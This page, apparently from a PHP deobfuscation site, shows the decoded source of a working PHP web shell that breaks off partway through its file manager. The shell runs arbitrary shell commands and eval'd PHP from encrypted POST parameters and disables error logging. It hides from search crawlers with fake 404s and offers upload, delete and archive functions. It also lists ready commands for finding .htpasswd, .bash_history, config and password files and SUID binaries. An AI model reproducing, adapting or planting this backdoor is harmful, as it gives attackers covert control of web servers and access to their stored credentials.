Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*************************************************************** * Copyright noti..

Decoded Output download

$default_key = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	$s = 'typsetcookie';
	$s(md5($_SERVER['HTTP_HOST'])."key", $default_key);
}
if(empty($_POST['charset']))
	$_POST['charset'] = $default_charset;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('typ_VERSION', '2.5');

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;


if(get_magic_quotes_gpc()) {
	function typstripslashes($array) {
		return is_array($array) ? array_map('typstripslashes', $array) : stripslashes($array);
	}
	$_POST = typstripslashes($_POST);
    $_COOKIE = typstripslashes($_COOKIE);
}


if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';


if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function typEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function typViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function typPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function typPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . typPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . typPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . typPerms(@fileperms($f)) . '</font>';
}

function typScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function typWhich($p) {
	$path = typEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"typ_version" => typ_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}

function typsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        typHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	typFooter();
}function typHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . "dezmond" ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Console'=>'Console','FilesMan'=>'FilesMan','Network'=>'Network','Php'=>'Php','SecInfo'=>'SecInfo','Sql'=>'Sql');;
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . typViewSize($totalSpace) . ' <span>Free:</span> ' . typViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. typPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}function typFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
} if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
} function typLogin() {
	die("<pre align=center><form method=post >Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        typsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        typLogin();
} if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        typsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        typsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		typsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".typEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		typsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	typHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".typEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	typFooter();
} function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    typEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					typsetcookie('act', $_POST['p1']);
					typsetcookie('f', serialize(@$_POST['f']));
					typsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    typHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = typScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';typFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
